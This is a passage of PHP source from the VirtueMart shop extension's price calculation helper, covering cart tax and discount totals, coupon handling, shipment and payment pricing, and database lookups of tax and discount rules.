				}
			}
			// subTotal for each taxID necessary, equal if calc_categories exists ore not
			if(!empty($this->_cartData['taxRulesBill'])) {
				foreach($this->_cartData['taxRulesBill'] as $k=>&$trule){
					if(!isset($trule['subTotal'])) $trule['subTotal'] = 0.0;
					if($product->product_tax_id != 0) {
						if($product->product_tax_id == $k) {
							$trule['subTotal']+= $this->_cartPrices[$cartproductkey]['subtotal_with_tax'];
						}
					}
					elseif(!empty($trule['calc_categories'])){
						$set = array_intersect($trule['calc_categories'],$product->categories);
						if(count($set)>0){
							$trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax'];
							vmdebug('DB Rule '.$trule['calc_name'].' is per category subTotal '.$trule['subTotal']);
						}
					}
					else {
						$trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax'];
					}
				}
			}
			/*
			foreach($this->_cartData['taxRulesBill'] as $k=>&$trule){
				if(!empty($trule['calc_categories'])){
					if(!isset($trule['subTotal'])) $trule['subTotal'] = 0.0;
					$set = array_intersect($trule['calc_categories'],$product->categories);
					if(count($set)>0){
						//foreach($set as $s){
							$trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax'];
							vmdebug('DB Rule '.$trule['calc_name'].' is per category subTotal '.$trule['subTotal']);
						//}
					}
				}
			}
			*/
			
			foreach($this->_cartData['DATaxRulesBill'] as &$darule){
				if(!empty($darule['calc_categories'])){
					if(!isset($darule['subTotal'])) $darule['subTotal'] = 0.0;
					$set = array_intersect($darule['calc_categories'],$product->categories);
					if(count($set)>0){
						if(!isset($darule['subTotal'])) $darule['subTotal'] = 0.0;
						//foreach($set as $s){
							$darule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax'];
						//}
					}
				}
			}
		}

		// Calculate the discount from all rules before tax to calculate billTotal
		$cartdiscountBeforeTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['DBTaxRulesBill'], $this->_cartPrices['salesPrice']));		
		
		// We need the discount per category for each taxID to reduce the total discount before calculate percentage from hole cart discounts
		$categorydiscountBeforeTax = 0;
		foreach ($this->_cartData['DBTaxRulesBill'] as &$rule) {
			if (!empty($rule['subTotalPerTaxID'])) {
				foreach ($rule['subTotalPerTaxID'] as $k=>$DBTax) {
					$this->roundInternal($this->cartRuleCalculation($this->_cartData['DBTaxRulesBill'], $this->_cartPrices['salesPrice'], $k, true));
					if (!empty($this->_cartData['VatTax'][$k]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'])) {
						$categorydiscountBeforeTax += $this->_cartData['VatTax'][$k]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'];
					}
//			vmdebug('$categorydiscountBeforeTax',$categorydiscountBeforeTax);
				}
			}
		}

		// combine the discounts before tax for each taxID
		foreach ($this->_cartData['VatTax'] as &$rule) {
			if (!empty($rule['DBTax'])) {
				$sum = 0;
				foreach ($rule['DBTax'] as $key=>$val) {
					$sum += $val;
				}
				$rule['DBTax'] = $sum;
			}
		}

		// calculate the new subTotal with discounts before tax, necessary for billTotal
		$toTax = $this->_cartPrices['salesPrice'] + $cartdiscountBeforeTax;

		//Avalara wants to calculate the tax of the shipment. Only disadvantage to set shipping here is that the discounts per bill respectivly the tax per bill
		// is not considered.
		$this->calculateShipmentPrice($cart, $checkAutomaticSelected);

		// next step is handling a coupon, if given
		$this->_cartData['vmVat'] = TRUE;
		$this->_cartPrices['salesPriceCoupon'] = 0.0;
		if (!empty($cart->couponCode)) {
			$this->couponHandler($cart->couponCode);
		}

		// now calculate the discount for hole cart and reduce subTotal for each taxRulesBill, to calculate correct tax, also if there are more than one tax rules	
		$totalDiscountBeforeTax =  $cartdiscountBeforeTax - $categorydiscountBeforeTax + $this->_cartPrices['salesPriceCoupon'];
		foreach ($this->_cartData['taxRulesBill'] as $k=>&$rule) {
			
			if(!empty($rule['subTotal'])) {
				$rule['percentage'] = $rule['subTotal'] / $this->_cartPrices['salesPrice'];
				if (isset($this->_cartData['VatTax'][$k]['DBTax'])) {
					$rule['subTotal'] += $this->_cartData['VatTax'][$k]['DBTax'];
				}
				$rule['subTotal'] += $totalDiscountBeforeTax * $rule['percentage'];
			}
		}

		// now each taxRule subTotal is reduced with DBTax and we can calculate the cartTax 
		$cartTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['taxRulesBill'], $toTax));

		// toDisc is new subTotal after tax, now it comes discount afterTax and we can calculate the final cart price with tax.
		$toDisc = $toTax + $cartTax;
		$cartdiscountAfterTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['DATaxRulesBill'], $toDisc));
		$this->_cartPrices['withTax'] = $toDisc + $cartdiscountAfterTax;

		$this->calculatePaymentPrice($cart, $checkAutomaticSelected);

		//		$sub =!empty($this->_cartPrices['discountedPriceWithoutTax'])? $this->_cartPrices['discountedPriceWithoutTax']:$this->_cartPrices['basePrice'];
		if($this->_currencyDisplay->_priceConfig['salesPrice']) $this->_cartPrices['billSub'] = $this->_cartPrices['basePrice'] + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue'];
		//		$this->_cartPrices['billSub']  = $sub + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue'];
		if($this->_currencyDisplay->_priceConfig['discountAmount']) $this->_cartPrices['billDiscountAmount'] = $this->_cartPrices['discountAmount'] + $cartdiscountBeforeTax + $cartdiscountAfterTax;// + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue'] ;
		if($this->_cartPrices['salesPriceShipment'] < 0) $this->_cartPrices['billDiscountAmount'] += $this->_cartPrices['salesPriceShipment'];
		if($this->_cartPrices['salesPricePayment'] < 0) $this->_cartPrices['billDiscountAmount'] += $this->_cartPrices['salesPricePayment'];
		if($this->_currencyDisplay->_priceConfig['taxAmount']) $this->_cartPrices['billTaxAmount'] = $this->_cartPrices['taxAmount'] + $this->_cartPrices['shipmentTax'] + $this->_cartPrices['paymentTax'] + $cartTax; //+ $this->_cartPrices['withTax'] - $toTax

		//The coupon handling is only necessary if a salesPrice is displayed, otherwise we have a kind of catalogue mode
		if($this->_currencyDisplay->_priceConfig['salesPrice']){
			$this->_cartPrices['billTotal'] = $this->_cartPrices['salesPriceShipment'] + $this->_cartPrices['salesPricePayment'] + $this->_cartPrices['withTax'] + $this->_cartPrices['salesPriceCoupon'];

			if($this->_cartPrices['billTotal'] < 0){
				$this->_cartPrices['billTotal'] = 0.0;
			}

			if($this->_cartData['vmVat'] and (!empty($cartdiscountBeforeTax) and isset($this->_cartData['VatTax']) and count($this->_cartData['VatTax'])>0) or !empty($cart->couponCode)){
				//$this->_revert = true;
				
				$allTotalTax = 0.0;
				$totalDiscount =  $cartdiscountBeforeTax - $categorydiscountBeforeTax + $this->_cartPrices['salesPriceCoupon'];

			//	vmdebug(' salesPriceCoupon = '. $this->_cartPrices['salesPriceCoupon'].'     billDiscountAmount = '.$this->_cartPrices['billDiscountAmount']);
				foreach($this->_cartData['VatTax'] as &$vattax){

					//$vattax['DBTax'] = var_dump(array_sum($vattax['DBTax']));
					if (isset($vattax['subTotal'])) {
						$vattax['percentage'] = $vattax['subTotal'] / $this->_cartPrices['salesPrice'];
					}
					$vattax['DBTax'] = isset($vattax['DBTax']) ? $vattax['DBTax'] : 0;
					if (isset($vattax['calc_value']) && isset($vattax['percentage'])) {
						$vattax['discountTaxAmount'] = round(($totalDiscount * $vattax['percentage'] + $vattax['DBTax']) / (100 + $vattax['calc_value']) * $vattax['calc_value'],$this->_currencyDisplay->_priceConfig['taxAmount'][1]);
					}
					//$vattax['subTotal'] = $vattax['subTotal'] - $vattax['percentage'] * $totalDiscount;

					if (isset($vattax['discountTaxAmount'])) $this->_cartPrices['billTaxAmount'] += $vattax['discountTaxAmount'];
					$allTotalTax += $totalDiscount;
					//$this->_cartPrices['billTaxAmount'] += $vattax['subTotal'];
					//vmdebug('my vattax recalc data the percentage = '.$vattax['percentage'].'  salesPrice = '.$this->_cartPrices['salesPrice'].'  $totalDiscount = '. $totalDiscount.'  subtotal = '.$vattax['subTotal']);

				}

			}

			if($this->_cartPrices['billTaxAmount'] < 0){
				$this->_cartPrices['billTaxAmount'] = 0.0;
			}
		}

		//Calculate VatTax result
		if ($this->_cartPrices['shipment_calc_id']) $this->_cartData['VatTax'][$this->_cartPrices['shipment_calc_id']]['shipmentTax'] = $this->_cartPrices['shipmentTax'];
		if ($this->_cartPrices['payment_calc_id']) $this->_cartData['VatTax'][$this->_cartPrices['payment_calc_id']]['paymentTax'] = $this->_cartPrices['paymentTax'];
		foreach($this->_cartData['VatTax'] as $k=>&$vattax){
			$vattax['result'] = isset($vattax['taxAmount']) ? $vattax['taxAmount'] : 0;
			if (isset($vattax['discountTaxAmount'])) $vattax['result'] += $vattax['discountTaxAmount'];
			if (isset($vattax['shipmentTax'])) $vattax['result'] += $vattax['shipmentTax'];
			if (isset($vattax['paymentTax'])) $vattax['result'] += $vattax['paymentTax'];
			if (!isset($vattax['virtuemart_calc_id'])) $vattax['virtuemart_calc_id'] = $this->getCalcRuleData($k)->virtuemart_calc_id;
			if (!isset($vattax['calc_name'])) $vattax['calc_name'] = $this->getCalcRuleData($k)->calc_name;
			if (!isset($vattax['calc_value'])) $vattax['calc_value'] = $this->getCalcRuleData($k)->calc_value;
		}
		foreach ($this->_cartData['taxRulesBill'] as $k=>&$rule) {
			$this->_cartData['VatTax'][$k]['result'] = isset($this->_cartData['VatTax'][$k]['result']) ? $this->_cartData['VatTax'][$k]['result'] : 0;
			$this->_cartData['VatTax'][$k]['result'] += round($this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'],$this->_currencyDisplay->_priceConfig['salesPrice'][1]);
			if(!isset($this->_cartData['VatTax'][$k]['virtuemart_calc_id'])) $this->_cartData['VatTax'][$k]['virtuemart_calc_id'] = $rule['virtuemart_calc_id'];
			if(!isset($this->_cartData['VatTax'][$k]['calc_name'])) $this->_cartData['VatTax'][$k]['calc_name'] = $rule['calc_name'];
			if(!isset($this->_cartData['VatTax'][$k]['calc_value'])) $this->_cartData['VatTax'][$k]['calc_value'] = $rule['calc_value'];
		}

		//$this->_cartData['taxRulesBill'] = array_merge($this->_cartData['taxRulesBill'],$this->_cartData['VatTax']);
		//vmdebug('$this->_cartData',$this->_cartData);
		//vmdebug('$this->_cartPrices',$this->_cartPrices);

		return $this->_cartPrices;
	}


	/**
	 * Get the data of the CalcRule ID if it is not there
	 * @author Maik Kuennemann
	 * @param $VatTaxID ID of the taxe rule
	 */
	protected function getCalcRuleData($calcRuleID) {
		$q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $calcRuleID . '"';
		$this->_db->setQuery($q);
		$calcRule = $this->_db->loadObject();
		return $calcRule;
	}

	/**
	 * Get coupon details and calculate the value
	 * @author Oscar van Eijk
	 * @param $_code Coupon code
	 */
	protected function couponHandler($_code) {

		JPluginHelper::importPlugin('vmcoupon');
		$dispatcher = JDispatcher::getInstance();
		$returnValues = $dispatcher->trigger('plgVmCouponHandler', array($_code,&$this->_cartData, &$this->_cartPrices));
		if(!empty($returnValues)){
			foreach ($returnValues as $returnValue) {
				if ($returnValue !== null  ) {
					return $returnValue;
				}
			}
		}

		if (!class_exists('CouponHelper'))
			require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php');
		if (!($_data = CouponHelper::getCouponDetails($_code))) {
			return; // TODO give some error here
		}
		$_value_is_total = ($_data->percent_or_total == 'total');
		$this->_cartData['couponCode'] = $_code;
		$this->_cartData['couponDescr'] = ($_value_is_total ? '' : (round($_data->coupon_value) . '%')
		);
		$this->_cartPrices['salesPriceCoupon'] = ($_value_is_total ? $_data->coupon_value * -1 : ($this->_cartPrices['salesPrice'] * ($_data->coupon_value / 100)) * -1
		);
		// TODO Calculate the tax
		$this->_cartPrices['couponTax'] = 0;
		$this->_cartPrices['couponValue'] = $this->_cartPrices['salesPriceCoupon'] - $this->_cartPrices['couponTax'];
		//$this->_cartPrices['billTotal'] -= $this->_cartPrices['salesPriceCoupon'];
		//if($this->_cartPrices['billTotal'] < 0){
		//	$this->_cartPrices['billTotal'] = 0.0;
		//}
	}

	/**
	 * Function to calculate discount/tax of cart rules.
	 *
	 * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers, Maik Künnemann
	 * 
	 * @return int 	$price  	the discount/tax
	 */
	function cartRuleCalculation($rules, $baseprice, $TaxID = 0, $DBTax = false) {

		if (empty($rules))return 0;

		$rulesEffSorted = $this->record_sort($rules, 'ordering',$this->_revert);

		if (isset($rulesEffSorted)) {

			$discount = 0;

			foreach ($rulesEffSorted as &$rule) {

				if(isset($rule['subTotal'])) {
					$cIn = $rule['subTotal'];
				} else {
					$cIn = $baseprice;
				}

				$cOut = $this->interpreteMathOp($rule, $cIn);

				$this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'] = $this->roundInternal($this->roundInternal($cOut) - $cIn);

				$discount += round($this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'],$this->_currencyDisplay->_priceConfig['salesPrice'][1]);

				if(isset($rule['subTotal']) and $TaxID != 0 and $DBTax = true) {
					if(isset($rule['subTotalPerTaxID'][$TaxID])) { 
						$cIn = $rule['subTotalPerTaxID'][$TaxID];
						$cOut = $this->interpreteMathOp($rule, $cIn);
						$this->_cartData['VatTax'][$TaxID]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'] = round($this->roundInternal($this->roundInternal($cOut) - $cIn),$this->_currencyDisplay->_priceConfig['salesPrice'][1]);;
					} 
				}
			}
		}

		return $discount;
	}
	
	/**
	 * Function to execute the calculation of the gathered rules Ids.
	 *
	 * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers
	 * @param 		$rules 		The Ids of the products
	 * @param 		$price 		The input price, if no rule is affecting, 0 gets returned
	 * @return int 	$price  	the endprice
	 */
	function executeCalculation($rules, $baseprice, $relateToBaseAmount=false,$setCartPrices = true) {

		if (empty($rules))return 0;

		$rulesEffSorted = $this->record_sort($rules, 'ordering',$this->_revert);

		$price = $baseprice;
		$finalprice = $baseprice;
		if (isset($rulesEffSorted)) {

			foreach ($rulesEffSorted as $rule) {

				if(isset($rule['subTotal'])){
					$cIn = $rule['subTotal'];
					//vmdebug('executeCalculation use subTotal of rule '.$rule['subTotal']);
				}
				else if ($relateToBaseAmount) {
					$cIn = $baseprice;
				} else {
					$cIn = $price;
				}

				$cOut = $this->interpreteMathOp($rule, $cIn);

				$tmp = $this->roundInternal($this->roundInternal($cOut) - $cIn);


				if($setCartPrices){
					$this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'] = $tmp;
				}
 				//vmdebug('executeCalculation id : '.$rule['virtuemart_calc_id'].' = '.$tmp);
				//okey, this is a bit flawless logic, but should work
				if ($relateToBaseAmount) {
					$finalprice = $finalprice + $tmp;
				} else {
					$price = $cOut;
				}
			}
		}

		//okey done with it
		if (!$relateToBaseAmount) {
			$finalprice = $price;
		}

		return $finalprice;
	}

	/**
	 * Gatheres the rules which affects the product.
	 *
	 *
	 * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers
	 * @param	$entrypoint The entrypoint how it should behave. Valid values should be
	 * 						Profit (Commission is a profit rule that is shared, maybe we remove shared and make a new entrypoint called profit)
	 * 						DBTax (Discount for wares, coupons)
	 * 						Tax
	 * 						DATax (Discount on money)
	 * 						Duty
	 * @return	$rules The rules that effects the product as Ids
	 */
	function gatherEffectingRulesForProductPrice($entrypoint, $id) {

		$testedRules = array();
		if ($id === -1) return $testedRules;
		//virtuemart_calc_id 	virtuemart_vendor_id	calc_shopper_published	calc_vendor_published	published 	shared calc_amount_cond
		$countries = '';
		$states = '';
		$shopperGroup = '';
		$entrypoint = (string) $entrypoint;
		if(empty($this->allrules[$this->productVendorId][$entrypoint])){
			return $testedRules;
		}
		$allRules = $this->allrules[$this->productVendorId][$entrypoint];

		//Cant be done with Leftjoin afaik, because both conditions could be arrays.
		foreach ($allRules as $i => $rule) {

			if(!empty($id)){
				if($rule['virtuemart_calc_id']==$id){
					$testedRules[$rule['virtuemart_calc_id']] = $rule;
				}
				continue;
			}
			if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['for_override'])){
				continue;
			}
			if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['cats'])){

				$q = 'SELECT `virtuemart_category_id` FROM #__virtuemart_calc_categories WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"';
				$this->_db->setQuery($q);
				$this->allrules[$this->productVendorId][$entrypoint][$i]['cats'] = $this->_db->loadResultArray();

			}

			$hitsCategory = true;
			if (isset($this->_cats)) {
				$hitsCategory = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['cats'], $this->_cats);
			}

			if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'])){
				$q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_calc_shoppergroups WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"';
				$this->_db->setQuery($q);
				$this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'] = $this->_db->loadResultArray();
			}

			$hitsShopper = true;
			if (isset($this->_shopperGroupId)) {
				$hitsShopper = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['shoppergrps'], $this->_shopperGroupId);
			}

			if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'])){
				$q = 'SELECT `virtuemart_country_id` FROM #__virtuemart_calc_countries WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"';
				$this->_db->setQuery($q);
				$this->allrules[$this->productVendorId][$entrypoint][$i]['countries'] = $this->_db->loadResultArray();
			}

			if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['states'])){
				$q = 'SELECT `virtuemart_state_id` FROM #__virtuemart_calc_states WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"';
				$this->_db->setQuery($q);
				$this->allrules[$this->productVendorId][$entrypoint][$i]['states'] = $this->_db->loadResultArray();
			}

			$hitsDeliveryArea = true;
			if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['states'])){
				if (!empty($this->_deliveryState)){
					$hitsDeliveryArea = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['states'], $this->_deliveryState);
				} else {
					$hitsDeliveryArea = false;
				}
			} else if(!empty($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'])){
				if (!empty($this->_deliveryCountry)){
					$hitsDeliveryArea = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['countries'], $this->_deliveryCountry);
				} else {
					$hitsDeliveryArea = false;
				}
			}

			if(!isset($this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'])){
				$q = 'SELECT `virtuemart_manufacturer_id` FROM #__virtuemart_calc_manufacturers WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"';
				$this->_db->setQuery($q);
				$this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'] = $this->_db->loadResultArray();
			}

			$hitsManufacturer = true;
			if (isset($this->_manufacturerId)) {
				$hitsManufacturer = $this->testRulePartEffecting($this->allrules[$this->productVendorId][$entrypoint][$i]['manufacturers'], $this->_manufacturerId);
			}

			if ($hitsCategory and $hitsShopper and $hitsDeliveryArea and $hitsManufacturer) {
				if ($this->_debug)
					echo '<br/ >Add rule ForProductPrice ' . $rule["virtuemart_calc_id"];

				$testedRules[$rule['virtuemart_calc_id']] = $rule;
			}
		}

		//Test rules in plugins
		if(!empty($testedRules) and count($testedRules)>0){
			JPluginHelper::importPlugin('vmcalculation');
			$dispatcher = JDispatcher::getInstance();
			$dispatcher->trigger('plgVmInGatherEffectRulesProduct',array(&$this,&$testedRules));
		}

		return $testedRules;
	}

	/**
	 * Gathers the effecting rules for the calculation of the bill
	 *
	 * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers
	 * @param	$entrypoint
	 * @param	$cartVendorId
	 * @return $rules The rules that effects the Bill as Ids
	 */
	function gatherEffectingRulesForBill($entrypoint, $cartVendorId=1) {

		$testedRules = array();

		//Test if calculation affects the current entry point
		//shared rules counting for every vendor seems to be not necessary
		$q = 'SELECT * FROM #__virtuemart_calcs WHERE
                `calc_kind`="' . $entrypoint . '"
                AND `published`="1"
                AND (`virtuemart_vendor_id`="' . $cartVendorId . '" OR `shared`="1" )
				AND ( publish_up = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_up <= "' . $this->_db->getEscaped($this->_now) . '" )
				AND ( publish_down = "' . $this->_db->getEscaped($this->_nullDate) . '" OR publish_down >= "' . $this->_db->getEscaped($this->_now) . '" ) ';
		//			$shoppergrps .  $countries . $states ;
		$this->_db->setQuery($q);
		$rules = $this->_db->loadAssocList();

		foreach ($rules as $rule) {

			$q = 'SELECT `virtuemart_country_id` FROM #__virtuemart_calc_countries WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"';
			$this->_db->setQuery($q);
			$countries = $this->_db->loadResultArray();

			$q = 'SELECT `virtuemart_state_id` FROM #__virtuemart_calc_states WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"';
			$this->_db->setQuery($q);
			$states = $this->_db->loadResultArray();

			$hitsDeliveryArea = true;
			//vmdebug('gatherEffectingRulesForBill $hitsDeliveryArea $countries and states  ',$countries,$states,$q);
			if (!empty($countries) && empty($states)) {
				$hitsDeliveryArea = $this->testRulePartEffecting($countries, $this->_deliveryCountry);
			} else if (!empty($states) ) {
				$hitsDeliveryArea = $this->testRulePartEffecting($states, $this->_deliveryState);
				vmdebug('gatherEffectingRulesForBill $hitsDeliveryArea '.(int)$hitsDeliveryArea.' '.$this->_deliveryState,$states);
			}


			$q = 'SELECT `virtuemart_category_id` FROM #__virtuemart_calc_categories WHERE `virtuemart_calc_id`="' . $rule['virtuemart_calc_id'] . '"';
			$this->_db->setQuery($q);
			$rule['calc_categories'] = $this->_db->loadResultArray();


			$q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_calc_shoppergroups WHERE `virtuemart_calc_id`="' . $rule["virtuemart_calc_id"] . '"';
			$this->_db->setQuery($q);
			$shoppergrps = $this->_db->loadResultArray();

			$hitsShopper = true;
			if (isset($this->_shopperGroupId)) {
				$hitsShopper = $this->testRulePartEffecting($shoppergrps, $this->_shopperGroupId);
			}

			if ($hitsDeliveryArea && $hitsShopper) {
				if ($this->_debug)
					echo '<br/ >Add Checkout rule ' . $rule["virtuemart_calc_id"] . '<br/ >';
				$testedRules[$rule['virtuemart_calc_id']] = $rule;
			}
		}

		//Test rules in plugins
		if(!empty($testedRules) and count($testedRules)>0){
			JPluginHelper::importPlugin('vmcalculation');
			$dispatcher = JDispatcher::getInstance();
			$dispatcher->trigger('plgVmInGatherEffectRulesBill', array(&$this, &$testedRules));
		}

		return $testedRules;
	}

	/**
	 * Calculates the effecting Shipment prices for the calculation
	 * @copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers
	 * @author Valerie Isaksen
	 * @param 	$code 	The Id of the coupon
	 * @return 	$rules 	ids of the coupons
	 */
	function calculateShipmentPrice(  $cart, $checkAutomaticSelected=true) {

		$this->_cartData['shipmentName'] = JText::_('COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED');
		$this->_cartPrices['shipmentValue'] = 0; //could be automatically set to a default set in the globalconfig
		$this->_cartPrices['shipmentTax'] = 0;
		$this->_cartPrices['salesPriceShipment'] = 0;
		$this->_cartPrices['shipment_calc_id'] = 0;
		// check if there is only one possible shipment method

		//if (empty($cart->virtuemart_shipmentmethod_id)){
			$cart->CheckAutomaticSelectedShipment($this->_cartPrices, $checkAutomaticSelected);
			if (empty($cart->virtuemart_shipmentmethod_id)) return;
		//}


		// Handling shipment plugins
		if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php');
		JPluginHelper::importPlugin('vmshipment');
		$dispatcher = JDispatcher::getInstance();
		$returnValues = $dispatcher->trigger('plgVmonSelectedCalculatePriceShipment',array(  $cart, &$this->_cartPrices, &$this->_cartData['shipmentName']  ));

		/*
		 * Plugin return true if shipment rate is still valid
		 * false if not any more
		 */
		$shipmentValid=0;
		foreach ($returnValues as $returnValue) {
			$shipmentValid += $returnValue;
		}
		if (!$shipmentValid) {
			$cart->virtuemart_shipmentmethod_id = 0;
			$cart->setCartIntoSession();
		}

		return $this->_cartPrices;
	}

	/**
	 * Calculates the effecting Payment prices for the calculation
	 * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers
	 * @author Valerie Isaksen
	 * @param 	$code 	The Id of the paymentmethod
	 * @param	$value	amount of the money to transfere
	 * @param	$value	$cartVendorId
	 * @return 	$paymentCosts 	The amount of money the customer has to pay. Calculated in shop currency
	 */
	function calculatePaymentPrice($cart, $checkAutomaticSelected=true) {
		//		if (empty($code)) return 0.0;
		//		$code=4;
		$this->_cartData['paymentName'] = JText::_('COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED');
		$this->_cartPrices['paymentValue'] = 0; //could be automatically set to a default set in the globalconfig
		$this->_cartPrices['paymentTax'] = 0;
		$this->_cartPrices['paymentTotal'] = 0;
		$this->_cartPrices['salesPricePayment'] = 0;
		$this->_cartPrices['payment_calc_id'] = 0;

		// check if there is only one possible payment method
		//if (empty($cart->virtuemart_paymentmethod_id)){
			$cart->CheckAutomaticSelectedPayment($this->_cartPrices, $checkAutomaticSelected);
			if (empty($cart->virtuemart_paymentmethod_id)) return;
		//}

		if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php');
		JPluginHelper::importPlugin('vmpayment');
		$dispatcher = JDispatcher::getInstance();
		$returnValues = $dispatcher->trigger('plgVmonSelectedCalculatePricePayment',array( $cart, &$this->_cartPrices, &$this->_cartData['paymentName']  ));

		/*
		   * Plugin return true if payment plugin is  valid
		   * false if not  valid anymore
		   * only one value is returned
		   */
		$paymentValid=0;
		foreach ($returnValues as $returnValue) {
			$paymentValid += $returnValue;
		}
		if (!$paymentValid) {
			$cart->virtuemart_paymentmethod_id = 0;
			$cart->setCartIntoSession();
		}
		return $this->_cartPrices;
	}

	function calculateCustomPriceWithTax($price) {

		$price = $this->_currencyDisplay->convertCurrencyTo((int) $this->productCurrency, $price,true);

		if(VmConfig::get('cVarswT',1)){
			$taxRules = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id);
			$vattaxRules = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id);
			$rules = array_merge($taxRules,$vattaxRules);
			if(!empty($rules)){
				$price = $this->executeCalculation($rules, $price, true);
			}

			$price = $this->roundInternal($price);
		}


		return $price;
	}

	/**
	 * This function just writes the query for gatherEffectingRulesForProductPrice
	 * When a condition is not set, it is handled like a set condition that affects it. So the users have only to add a value
	 * for the conditions they want to (You dont need to enter a start or end date when the rule should count everytime).
	 *
	 * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers
	 * @param $data		the ids of the rule, for exampel the ids of the categories that affect the rule
	 * @param $field	the name of the field in the db, for exampel calc_categories to write a rule that asks for the field calc_categories
	 * @return $q		The query
	 */
	function writeRulePartEffectingQuery($data, $field, $setAnd=0) {
		$q = '';
		if (!empty($data)) {
			if ($setAnd) {
				$q = ' AND (';
			} else {
				$q = ' (';
			}
			foreach ($data as $id) {
				$q = $q . '`' . $field . '`="' . $id . '" OR';
			}
			$q = $q . '`' . $field . '`="0" )';
		}
		return $q;
	}

	/**
	 * This functions interprets the String that is entered in the calc_value_mathop field
	 * The first char is the signum of the function. The more this function can be enhanced
	 * maybe with function that works like operators, the easier it will be to make more complex disount/commission/profit formulas
	 * progressive, nonprogressive and so on.
	 *
	 * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved.
	 * @author Max Milbers
	 * @param 	$mathop 	String reprasentation of the mathematical operation, valid ('+','-','+%','-%')
	 * @param	$value 	float	The value that affects the price
	 * @param 	$currency int	the currency which should be used
	 * @param	$price 	float	The price to calculate
	 */
	function interpreteMathOp($rule, $price) {

		$mathop = $rule['calc_value_mathop'];
		$value = (float)$rule['calc_value'];
		$currency = $rule['calc_currency'];
		//$mathop, $value, $price, $currency='')

		$coreMathOp = array('+','-','+%','-%');

		if(!$this->_revert){
			$plus = '+';
			$minus = '-';
		} else {
			$plus = '-';
			$minus = '+';
		}

		if(in_array($mathop,$coreMathOp)){
			$sign = substr($mathop, 0, 1);

			$calculated = false;
			if (strlen($mathop) == 2) {
				$cmd = substr($mathop, 1, 2);
				if ($cmd == '%') {
					if(!$this->_revert){
						$calculated = $price * $value / 100.0;
					} else {
						if(!empty($value)){
							if($sign == $plus){
								$calculated =  abs($price /(1 -  (100.0 / $value)));
							} else {
								$calculated = abs($price /(1 +  (100.0 / $value)));
							}
						} else {
							vmdebug('interpreteMathOp $value is empty '.$rule['calc_name']);
						}
// 							vmdebug('interpreteMathOp $price'.$price.' $value '.$value.' $sign '.$sign.' '.$plus.' $calculated '.$calculated);
					}
				}
			} else if (strlen($mathop) == 1){
				$calculated = $this->_currencyDisplay->convertCurrencyTo($currency, $value);
			}
// 				vmdebug('interpreteMathOp',$price,$calculated,$plus);
			if($sign == $plus){
				return $price + (float)$calculated;
			} else if($sign == $minus){
				return $price - (float)$calculated;
			} else {
				VmError('Unrecognised mathop '.$mathop.' in calculation rule found');
				return $price;
			}
		} else {

			JPluginHelper::importPlugin('vmcalculation');
			$dispatcher = JDispatcher::getInstance();
